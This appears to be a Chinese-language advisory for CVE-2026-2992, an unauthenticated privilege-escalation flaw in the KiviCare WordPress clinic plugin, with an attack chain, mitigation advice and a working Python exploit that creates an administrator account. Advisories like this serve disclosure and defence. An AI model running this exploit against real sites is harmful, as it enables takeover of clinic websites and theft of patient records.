IPBUF安全漏洞报告
English
CVE-2026-2992 CVSS 8.2 高危

KiviCare WordPress插件权限提升漏洞 (CVE-2026-2992)

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-2992
漏洞类型
权限提升/授权缺失
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
KiviCare – Clinic & Patient Management System (EHR) WordPress插件

相关标签

CVE-2026-2992WordPress插件漏洞KiviCare权限提升授权缺失REST API漏洞高危漏洞Privilege EscalationAuthorization Bypass医疗系统安全

漏洞概述

KiviCare是一款专为WordPress设计的诊所和患者管理系统(电子健康记录EHR)插件。该插件在4.1.2及之前的所有版本中存在严重的授权缺失漏洞。攻击者无需任何认证即可通过REST API端点创建新诊所和具有诊所管理员权限的WordPress用户。由于该漏洞允许攻击者创建管理员级别账户,攻击者可以进一步控制整个WordPress网站,执行任意代码,窃取敏感数据,或将网站用于进一步的攻击活动。此漏洞CVSS评分8.2,属于高危漏洞,对使用该插件的医疗机构和诊所网站构成严重威胁。

技术细节

漏洞根因在于KiviCare插件的REST API端点缺少适当的权限检查。具体来说,`/wp-json/kivicare/v1/setup-wizard/clinic`端点允许未认证用户执行本应仅限管理员的操作。该端点位于`SetupWizardController.php`文件的第31行和第162行附近,负责处理诊所创建和用户注册流程。由于缺少`permission_callback`函数或等效的权限验证机制,任何访问该端点的用户都可以:1)创建一个新的诊所记录;2)注册一个新的WordPress用户账户;3)将该用户设置为诊所管理员角色。攻击者利用此漏洞可以获得WordPress后台管理员访问权限,从而完全控制网站。修复版本在 changeset 3467409 中发布。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的KiviCare插件版本(<=4.1.2)
STEP 2
步骤2
攻击者构造恶意POST请求,访问未授权的REST API端点 /wp-json/kivicare/v1/setup-wizard/clinic
STEP 3
步骤3
请求中包含创建诊所和WordPress用户的payload,设置用户角色为clinic_admin
STEP 4
步骤4
服务器端由于缺少权限验证,直接执行诊所创建和用户注册操作
STEP 5
步骤5
攻击者获得具有管理员权限的WordPress账户登录凭证
STEP 6
步骤6
攻击者登录WordPress后台,通过插件上传或其他方式执行任意代码
STEP 7
步骤7
完全控制网站,可窃取患者数据、安装后门或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-2992 PoC - KiviCare Privilege Escalation # Target: WordPress site with KiviCare plugin <= 4.1.2 TARGET_URL = "http://target-wordpress-site.com" API_ENDPOINT = "/wp-json/kivicare/v1/setup-wizard/clinic" # Payload to create clinic and admin user payload = { "clinic_name": "Malicious Clinic", "clinic_email": "[email protected]", "clinic_phone": "1234567890", "clinic_address": "Attacker's Address", "user_email": "[email protected]", "user_password": "P@ssw0rd123!", "user_role": "clinic_admin" } def exploit(): url = TARGET_URL + API_ENDPOINT headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print(f"[*] Exploiting CVE-2026-2992 on {TARGET_URL}") print(f"[*] Target endpoint: {url}") try: response = requests.post(url, json=payload, headers=headers, timeout=30) if response.status_code in [200, 201, 200]: print("[+] Success! Clinic and admin user created.") print(f"[+] Response: {response.text}") print(f"[*] Login with: [email protected] / P@ssw0rd123!") else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

影响范围

KiviCare – Clinic & Patient Management System (EHR) <= 4.1.2

防御指南

临时缓解措施
立即将KiviCare插件升级到最新版本。如果暂时无法升级,可以通过Web服务器配置临时阻止对 /wp-json/kivicare/* 端点的未认证访问,或者使用Wordfence等安全插件添加临时防护规则。同时应检查现有WordPress用户账户,删除攻击者可能已创建的恶意管理员账户,并审查最近的系统日志以确定是否已被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表